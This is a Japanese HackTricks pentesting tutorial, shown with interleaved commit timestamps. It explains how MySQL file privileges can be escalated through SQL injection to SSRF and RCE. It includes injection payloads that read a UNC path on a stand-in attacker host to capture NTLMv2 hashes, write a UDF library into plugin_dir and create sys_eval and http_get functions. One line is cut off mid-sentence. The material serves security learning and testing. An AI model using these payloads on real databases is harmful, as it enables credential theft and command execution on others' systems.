2023-07-07 23:42:27 +00:00
# MySQLファイル特権からSSRF/RCEへ
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 20:35:28 +02:00
< summary >< a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" >< strong > ☁️ HackTricks Cloud ☁️</ strong ></ a > -< a href = "https://twitter.com/hacktricks_live" >< strong > 🐦 Twitter 🐦</ strong ></ a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" >< strong > 🎙️ Twitch 🎙️</ strong ></ a > - < a href = "https://www.youtube.com/ @hacktricks_LIVE " >< strong > 🎥 Youtube 🎥</ strong ></ a ></ summary >
2022-04-28 16:01:33 +00:00
2023-08-31 17:25:15 +00:00
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop)をチェックしてください!
2023-07-07 23:42:27 +00:00
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を見つけてください。独占的な[**NFT** ](https://opensea.io/collection/the-peass-family )のコレクションです。
* [**公式のPEASS& HackTricksのグッズ** ](https://peass.creator-spring.com )を手に入れましょう。
2023-08-31 17:25:15 +00:00
* [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discordグループ** ](https://discord.gg/hRep4RUj7f )または[**telegramグループ** ](https://t.me/peass )に**参加**するか、**Twitter**で**フォロー**してください[**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/hacktricks\_live )**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo** ](https://github.com/carlospolop/hacktricks ) **と** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ) **に提出してください。**
2022-04-28 16:01:33 +00:00
< / details >
2023-08-31 17:25:15 +00:00
### LOAD\_FILE/LOAD DATA/LOAD XMLからSSRFへ
2020-07-15 15:43:14 +00:00
2023-08-31 17:25:15 +00:00
SQL Out of Bandデータの外部流出の記事では、ネットワークリクエストを行うために`LOAD_FILE()` 文字列関数を使用します。この関数自体には、実行されるオペレーティングシステムとデータベースの起動設定に基づく制限があります。
2020-07-15 15:43:14 +00:00
2023-08-31 17:25:15 +00:00
たとえば、`secure_file_priv` グローバル変数が設定されていない場合、[デフォルト値は`/var/lib/mysql-files/`に設定されます ](https://dev.mysql.com/doc/mysql-installation-excerpt/5.7/en/linux-installation-rpm.html )。つまり、`LOAD_FILE('filename')` や`LOAD DATA [LOCAL] INFILE 'filename' INTO TABLE tablename` のような関数を使用して、`/var/lib/mysql-files/` ディレクトリからファイルを読み取ることしかできません。このディレクトリ以外のファイルを読み取るには、`secure_file_priv` オプションを`""` に設定する必要があります。これは、データベースの設定ファイルを更新するか、データベースサービスの起動パラメータとして`--secure_file_priv=""` を渡すことでのみ行うことができます。
2020-07-15 15:43:14 +00:00
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/2.png)
2023-08-31 17:25:15 +00:00
ただし、`secure_file_priv` が`""` に設定されている場合、現在のデータベースユーザーの`mysql.user` で`file_priv` が`Y` に設定されている場合、システム上の他のファイルを読み取ることができるはずです。ただし、これらの関数を使用してネットワーク呼び出しを行うことは、非常にオペレーティングシステムに依存しています。これらの関数はファイルの読み取りのみを目的としているため、UNCパス( Windowsホスト上のUNC命名規則を理解するWindowsの`CreateFileA` API) へのネットワーク関連の呼び出しのみが可能です。
2020-07-15 15:43:14 +00:00
2023-08-31 17:25:15 +00:00
したがって、対象のデータベースがWindowsマシン上で実行されている場合、インジェクションクエリ`x'; SELECT LOAD_FILE('\\\\attackerserver.example.com\\a.txt'); -- //` は、WindowsマシンがNTLMv2ハッシュを送信し、攻撃者が制御する`\\attackerserver.example.com` に認証しようとすることになります。
2020-07-15 15:43:14 +00:00
2023-08-31 17:25:15 +00:00
このサーバーサイドリクエストフォージェリ( SSRF) は、便利ですが、TCPポート445に制限されています。ポート番号を制御することはできませんが、読み取り権限が完全に設定された共有から情報を読み取ることができます。また、古い研究で示されているように、この制限付きのSSRF機能を使用してハッシュを盗み、それらをリレーしてシェルを取得することもできます。
2020-07-15 15:43:14 +00:00
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/3.png)
2023-08-31 17:25:15 +00:00
### ユーザー定義関数からRCEへ
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
MySQLデータベースのもう一つのクールなテクニックは、MySQL内からアクセスできる外部ライブラリファイルに存在するユーザー定義関数( UDF) を使用することです。
2020-07-15 15:43:14 +00:00
2023-08-31 17:25:15 +00:00
SQLインジェクションを使用して、ネットワーク/HTTPリクエストを行うことができるユーザー定義関数を含むライブラリ( `.so` または`.dll` 、LinuxまたはWindowsによる) を**作成**することができます。その後、追加のクエリを介して呼び出すことができます。
2020-07-15 15:43:14 +00:00
2023-08-31 17:25:15 +00:00
ただし、これには制限があります。`select @@version` で識別できるMySQLのバージョンに基づいて、プラグインをロードできるディレクトリが制限されています。MySQLのバージョン`v5.0.67` 未満では、`plugin_dir` 変数が設定されていない場合、システムパスからライブラリファイルをロードすることができました。これは現在変更されており、新しいバージョンでは**`plugin_dir` **変数が`/usr/lib/mysql/plugin/` のような値に設定されています。これは通常、rootが所有しています。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
基本的には、MySQLにカスタムライブラリをロードし、SQLインジェクションを介してロードされたライブラリから関数を呼び出すためには、次の条件が必要です。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
* SQLインジェクションを介して**`@@plugin_dir` **で指定された場所に**書き込む**機能
* 現在のデータベースユーザーの`mysql.user` で**`file_priv` **が**`Y` **に設定されていること
2023-08-31 17:25:15 +00:00
* ネットワークまたはWebアプリケーションのファイルアップロードディレクトリなど、任意の場所からライブラリの生のバイトを読み取るために**`secure_file_priv` **を**`""` **に設定すること
2020-07-15 15:43:14 +00:00
2023-08-31 17:25:15 +00:00
上記の条件が満たされていると仮定すると、**[人気のあるMySQL UDF `lib_mysqludf
いずれの場合でも、ライブラリをデータベースサーバーに転送する必要があります。複数の方法でこれを行うことができます。
2020-07-15 15:43:14 +00:00
2023-08-31 17:25:15 +00:00
1. MySQLの`hex()` 文字列関数や`xxd -p filename.so | tr -d '\n'` のような方法を使用して、ライブラリの内容を16進数形式に変換し、それを`@@plugin_dir` ディレクトリにダンプします。`x'; SELECT unhex(0x1234abcd12abcdef1223.....) into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //` を使用します。
2023-07-07 23:42:27 +00:00
2. 代わりに、`filename.so` の内容をBase64に変換し、`x';select from_base64("AAAABB....") into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //` を使用します。
2020-07-15 15:43:14 +00:00
2023-08-31 17:25:15 +00:00
`@@plugin_dir` が書き込み可能でない場合、バージョンが`v5.0.67` 以上であれば運が悪いです。それ以外の場合は、パスにある別の場所に書き込み、次の方法でUDFライブラリをロードします。
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
* `lib_mysqludf_sys` ライブラリの場合 - `x';create function sys_eval returns string soname 'lib_mysqludf_sys.so'; -- //`
* `mysql-udf-http` ライブラリの場合 - `x';create function http_get returns string soname 'mysql-udf-http.so'; -- //`
2020-07-15 15:43:14 +00:00
2021-02-20 23:07:34 +00:00
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/4.png)
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/5.png)
2020-07-15 15:43:14 +00:00
2023-08-31 17:25:15 +00:00
これを自動化するために、SQLMapを使用することができます。SQLMapは、[カスタムUDFの使用をサポートしています。`--udf-inject`オプション ](https://github.com/sqlmapproject/sqlmap/wiki/Usage )。
Blind SQLインジェクションの場合、UDF関数の出力を一時テーブルにリダイレクトしてから、そこからデータを読み取るか、[DNSリクエストを`sys_eval`または`sys_exec`カールコマンド内に隠し込む ](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration )ことができます。
< details >
2022-04-28 16:01:33 +00:00
2023-08-31 17:25:15 +00:00
< summary >< a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" >< strong > ☁️ HackTricks Cloud ☁️</ strong ></ a > -< a href = "https://twitter.com/hacktricks_live" >< strong > 🐦 Twitter 🐦</ strong ></ a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" >< strong > 🎙️ Twitch 🎙️</ strong ></ a > - < a href = "https://www.youtube.com/ @hacktricks_LIVE " >< strong > 🎥 Youtube 🎥</ strong ></ a ></ summary >
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見しましょう。独占的な[**NFT** ](https://opensea.io/collection/the-peass-family )のコレクションです。
* [**公式のPEASS& HackTricksのグッズ** ](https://peass.creator-spring.com )を手に入れましょう。
* [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discordグループ** ](https://discord.gg/hRep4RUj7f )または[**Telegramグループ** ](https://t.me/peass )に参加するか、**Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/hacktricks\_live )**をフォローしてください。**
* **ハッキングのトリックを共有するには、** [**hacktricks repo** ](https://github.com/carlospolop/hacktricks ) **と** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ) **にPRを提出してください。**
< / details >